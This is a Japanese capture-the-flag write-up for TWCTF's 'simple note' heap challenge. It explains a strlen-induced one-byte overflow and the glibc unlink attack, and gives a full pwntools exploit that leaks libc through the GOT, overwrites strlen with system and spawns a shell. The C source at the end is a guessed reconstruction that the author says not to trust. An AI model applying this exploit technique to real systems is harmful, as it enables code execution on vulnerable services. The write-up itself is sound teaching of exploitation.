---
# System prepended metadata

title: TWCTF

---

# TWCTF

## simple note writeup

問題

This is a simple note. Hack it!

nc pwn1.chal.ctf.westerns.tokyo 16317
simple_note
libc.so.6

---

security機構は以下のようになっている
[*] '/home/checkmatmusipan/Desktop/ctf/twctf/siNOTE'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
いまではコンパイル通すとRELROはfull RELROになったりするらしいが今回はPartialなので上書きできそう

---

試しに触ってみると
```=
======================
1. add a new note
2. delete the note
3. show the note
4. edit the note
5. exit
======================
Your choice: 
1
Please input the size: 
114514
Please input your note: 
1919
```
add で新しいノートを追加
deleteでノート削除
showでノートの内容を確認する
editでノートの内容を上書き
exitで終了
となっている
ただしノードの追加はサイズ制限があり最低でも0x80のサイズでないといけない(0x80以上ならおｋ、上限は知らん)
推定コード最後に置いておきます（それ読んで


* このプログラムで重要となる脆弱性の部分はedit関数のstrlenしていることろです。このstrlenでそれ以前に確保したメモリのサイズとして読み取っている。
* したがってedit関数が呼ばれるより前に文字列で埋め尽くしておけば確保したサイズを超えて書き込みが可能になります。
(よくやりがちな char buf[8]; buf[8] = '\x90';のやつです)



次に重要となるのがlistという名前のグローバル変数が0x6020c0に存在することです

基本的にこの二つを使って攻略します

ところでmallocがどういった形でメモリを確保しているのか？
は私が分からないのでとりあえず構造体置いておきますね
この構造体単位でheapから切りだして利用します
ただ切り出すだけではメモリが足りなくなるので(？)再利用をできるように解放後はリストとなっている

```c++=
struct malloc_chunk{
  INTERNAL_SIZE_T prev_size;
  INTERNAL_SIZE_T size;
  
  struct malloc_chunk* fd;//forward
  struct malloc_chunk* bk;//back
};
```
fdとbkとprev_sizeはfree時に書き込まれる

つまり（サイズにもよるが）解放後はfdとbkのポインタを使って双方向リストで繋がっていてそこからたどれるようになっている

では今回使うmallocの双方向リストからの削除方法を見ていこう
unlinkと呼ばれるリスト削除は以下のコードとなっている（早そう

雑ですが図をつけておきます。
以下のコードのPをchunk2,FDをchunk3,BKをchunk1としてみる（多分）
![](https://i.imgur.com/92gSFEf.png)

if(__builtin_expect(chunksize( P )....
の部分が隣接する次のchunkのprev_sizeとPのsizeが等しいかcheckしている部分

その次が重要でlistがしっかりと保たれているかcheckしているところが次のif文内です。
次に、もし仮にPのfdやbkが脆弱性などによって上書きされてしまっていた場合にそのまま```FD = P->fd;```や```BK = P->bk;```が行われてしまうとFDとBKが上書きされたアドレスに書き換えられてしまいます。
そして```FD->bk = BK;```と```BK->fd =FD;```でPのfdやbkが指す先の周辺にまた書き込みが行われてしまいます。
(PのfdをX,PのbkをYに上書きされた場合
```FD = X;```
```BK = Y;```
```X->bk = Y;```/* X->bkは X+sizeof(INTERNAL_SIZE_T)* 2+sizeof(fd) つまりx+0x18*/
```Y->fd = X;```/* Y->fdはY+0x10*/)

しかし、今現在はif(__builtin_expect(FD->bk != P....
の条件文が追加されPのfdやbkが上書きされたとしてもfdの指す先のBKポインタや、BKの指す先のFDポインタがP自身を指していなかった場合エラー落ちするようにcheckが入っています。

```c++=
1402	
1403	/* Take a chunk off a bin list */
1404	#define unlink(AV, P, BK, FD) {                                            \
1405	    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
1406	      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
1407	    FD = P->fd;                                                                      \
1408	    BK = P->bk;                                                                      \
1409	    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
1410	      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
1411	    else {                                                                      \
1412	        FD->bk = BK;                                                              \
1413	        BK->fd = FD;                                                              \
```

このcheckを越えなければPのfdやbkを上書きしてもエラー落ちするので工夫してfdとbkを上書きします。
それにはP自身(chunkのtop)を指すポインタが必要になってきます。
そのポインタをXと置く
”””あとで図を追加”””
そしてPのfdとbkを"fdはX-0x18","bkはX-0x10"に上書きしたときのFDとBK周辺がどうなるのか？
```FD = P->fd;```これは```FD = X -0x18;```
```BK = P->bk;```これは```BK = X -0x10;```
この状態でcheck部分を見ると```FD->bk ==P```と```BK->fd ==P```は
```FD->bk```は```(X-0x18)->bk```となります。ここでbkのアドレス的な位置は```chunkのtopからsizeof(INTERNAL_SIZE_T)*2+sizeof(fd)```つまりX+0x18(さっきと同じ)になるため
```(X-0x18)+0x18 == X```となります。XはPを指しているため```FD->bk==P```を満たします。
BKも同じように```BK->fd == (X-0x10)+0x10 ==X```となるためBK->fd==Pも満たすことになります

だからどうした？と思うのですが
```c++=
FD->bk = BK;                           \ 
```
ここですね。
さっきのXで当てはめると
```=
X= X-0x18;
```
XがX自身の-0x18のアドレスを指すことになります。
X-0x18がまたポインタであり読み込み,書き込み可能だった場合
Xへの書き込みでX-0x18の指す先を任意に変更しその後X-0x18へ書き込むことで任意のアドレスリークや任意のアドレスへの書き込みが可能となります。


--- 
### exploit解説
これを踏まえてexploitをみていくまずはheap領域でオーバーフローするようにスプレーする
```python=
#ascii sprey
add_note(conn , 160*8 , "A"*160*8)
```
![](https://i.imgur.com/UizXKSm.png)
その後上の領域を解放する

次にいくつか領域を確保する
下の図は二つ確保した例で赤枠とオレンジ枠がそれぞれのchunkです。
青線部の上がprev_sizeとsizeを表しています。
ここで見ていただきたいのがオレンジ枠のprev_sizeです.
最初の方に書いたprev_sizeは解放時に書き込まれることが確認できます。（確保しただけでは書き込まれない。したがって一文字オーバーフローする際に上書きされるのはchunkのsize部分です)
![](https://i.imgur.com/cVZwAMj.png)

一応グローバル変数のlistも載せておきます
ここで見ておいてほしいのがポインタの指している先です。
構造体のchunkの先ではなく0x10ずれた先を指しています。
(chunkが解放されるまでfdとbkは使われることはないので使用中の場合はdata部として使われる)
![](https://i.imgur.com/XOeShMD.png)

この二つの部分が結構重要な部分です
赤枠とオレンジ枠はそれぞれ別のchunkで、青枠が今回準備した偽のchunkです。
紫が偽のprev_sizeで黄色が偽のsize部分になっています。
オレンジ枠内のprev_sizeが0xa0となっていたりsizeが0xb0となっているのはオーバーフローによって書き換えた結果です
実際はprev_sizeが0、sizeが0xb1となっていなければならないのですがオーバーフローによって青枠に合うように変更しています。

listの赤枠も確認すると0x24cf220とあり青枠の偽chunkのtopをしっかりと指している状態。
![](https://i.imgur.com/XUGNDeR.png)

![](https://i.imgur.com/I5vrQ61.png)
上記のunlinkの条件であるXが赤枠に当たります(実際の正しいchunkだとchunkのtopを指しているポインタがないのでエラー落ちしますがdata部に偽のchunkを作ることでchunkのtopを指しているという状況を作り出しています)

そしてオレンジ枠をfreeするとunlinkが起こり以下のようになります。
赤枠だった部分を見ると0x6020c0を指してしまっています
![](https://i.imgur.com/eOObNJO.png)

これを使い任意のアドレスリークや任意のアドレスへの書き込みを行います



---
## full explote code
``` python=
"""
__________
chunk0
0
0xb1
__________
chunk1
0xb1
0
0xa1
fd(0x6020c0 + 8*3 - 0x18)
bk(0x6020c0 + 8*3 - 0x10)
__________
chunk2
0xa0
0xb0
__________
chunk3
0xb0
0xb1
___________
chunk4
0xb0
0xb1
___________
free( chunk2 )-> 0x6020d8 = 0x6020c0
"""
from pwn import *
context(os='linux', arch='i386')

#nc pwn1.chal.ctf.westerns.tokyo 16317
PORT = 16317
HOST = "pwn1.chal.ctf.westerns.tokyo"
conn = None

if len(sys.argv) > 1 and sys.argv[2] == 'r':
        conn = remote(HOST, PORT)
else:
        conn = process('./siNOTE')
log.info('Pwning')
list_addr = 0x6020c0
free_got = 0x602018
def add_note(conn , size , payload):
    conn.recvuntil("Your choice: \n")
    conn.sendline("1")
    conn.recvuntil("size: \n")
    conn.sendline(str(size))
    conn.recvuntil("note: \n")
    conn.send(payload)
    
def delete_note(conn , index):
    conn.recvuntil("Your choice: \n")
    conn.sendline("2")
    conn.recvuntil("index: \n")
    conn.sendline(str(index))
    conn.recvuntil("Sucess!\n")
    
def show_note(conn , index):
    conn.recvuntil("Your choice: \n")
    conn.sendline("3")
    conn.recvuntil("index: \n")
    conn.sendline(str(index))
    req = conn.recvuntil("\n=")
    print req
    return req
    
def edit_note(conn , index , payload ):
    conn.recvuntil("Your choice: \n")
    conn.sendline("4")
    conn.recvuntil("index: \n")
    conn.sendline(str(index))
    conn.recvuntil("note: \n")
    conn.send(payload)
def exit_note(conn ):
    print(conn.recvuntil("Your choice: \n"))
    conn.sendline("5")

libc = ELF('./libc_siNOTE')
payload  = ""
payload += "A"*240

#ascii sprey
add_note(conn , 160*8 , "A"*160*8)
delete_note(conn , 0)


add_note(conn , 160 , "A"*160)#0
add_note(conn , 160 , "B"*160)#1
add_note(conn , 160 , "C"*160)#2
add_note(conn , 160 , "D"*160)#3
add_note(conn , 160 , "E"*160)#4
add_note(conn , 160 , "F"*160)#5
add_note(conn , 160 , "G"*160)#6
add_note(conn , 160 , "H"*160)#7

edit_note(conn , 3+2 , "A"*160+p64(0xb0)+"\xb1")
edit_note(conn , 2+2 , "A"*160+p64(0xb0)+"\xb1")
edit_note(conn , 1+2 , p64(0)+p64(0xa1)+p64(0x6020c0 + 8*3 - 0x18)+p64(0x6020c0 + 8*3 - 0x10)+"A"*(0x70+0x8*2)+p64(0xa0)+"\xb0")

edit_note(conn , 0+2 , p64(0)*2+p64(0)+p64(0xa1))

#triger
delete_note(conn , 2+2)
req = show_note(conn , 2+2 -1 )
heap_base = u64(req[7:7+4].replace("\x0a","\x00")+"\x00"*4) -0x10
print("heap_base = {:#x}".format(heap_base))

strlen_got = 0x602028
free_leak =""
edit_note(conn , 2+2 -1 , p64(strlen_got) )
req = show_note(conn , 2+2 -1 -3 )
strlen_leak = req[7:7+8]
strlen_leak = u64(strlen_leak.replace("\x0a\x3d","\x00\x00"))
print("strlen_leak = {:#x}".format(strlen_leak))
libc_base = strlen_leak -  libc.symbols['strlen']
system = libc_base + libc.symbols['system']
_bin_sh = libc_base +0x18cd17
print("libc_base = {:#x}".format(libc_base))
edit_note(conn , 7 , "/bin/sh\x00;") 
edit_note(conn , 2+2 -1 , p64(strlen_got))

edit_note(conn , 2+2 -1 ,p64(strlen_got))
edit_note(conn , 2+2 -1 -3, p64(system))

print(conn.recvuntil("Your choice: \n"))
conn.sendline("4")
print(conn.recvuntil("index: \n"))
conn.sendline("7")

conn.interactive()

```




 ---
## 推定コード
心のこもった手動（白目
信じないこと
``` c++=
void menu(){
   puts("======================");
   puts("1. add a new note");
   puts("2. delete the note");
   puts("3. show the note");
   puts("4. edit the note"):
   puts("5. exit");
   puts("======================");
}

int32_t read_string(int8_t* input_buf ,int32_t INsize){
  char* buf;
  int32_t size;
  buf = input_buf;
  size = INsize;
  read(stdin, buf , size/* ? */);
  return 0;
}

int32_t read_int(){
    uint64_t canary;
    char* local_buf;
    read_string(local_buf , 0x10);
    return atoi(local_buf);
}

//GLOBAL VALLUE
char* list[16];

int32_t main(int32_t argc, char* argv){
   int32_t choice;//@
   initialize();
   while(True){
      menu();
      puts("Your choice:");
      choice = read_int();
      if( choice <= 5){
//joukenbunki
        switch(choice){
            case 1:
              add();
              break;
            case 2:
              delete();
              break;
            case 3:
              show();
              break;
            case 4:
               edit();
               break;
            case 5:
              puts("Bye");
              exit(0);
              break;
        }
      }else{
	puts("invalid choice");
      }
   }
//??? return ga nai!?
}


void initialize(){
//cut
}

void add(){
   int32_t size;
   char* alloc;
   int32_t list_num;
   puts("Please input the size:");
   size = read_int();
   if( size >= 0x7f){
//list check
	for(int32_t i =0;i <15 ;i++){
		if(list[i] == 0){
		   list_num = i;
		   break;
		}
	}
   }else{
	puts("Too small size!");
	exit(0);
   }
   alloc = malloc( size );
   if( alloc != null){
	puts("Please input your note: ");
	read_string(alloc , size);
	list[list_num]= alloc;
   }
}

void show(){
   int32_t index;
   puts("??");
   index = read_int();
   if( index >= 0 && index <=15){
	puts("??");
//cut
	puts(list[index]);
   }else{
	puts("??");
	return;
   }
   return;
}

void edit(){
   int32_t index;
   int32_t len;
   puts("");
   index = read_int();
   if( index >= 0 && index <= 15){
//list search
//cut
	len = strlen(list[index]);
	puts("??");
	read_string( list[index] , len);
   }else{
	return;
   }
  
}
```

最近はボッチ参加が多いので誘っていただけると喜びます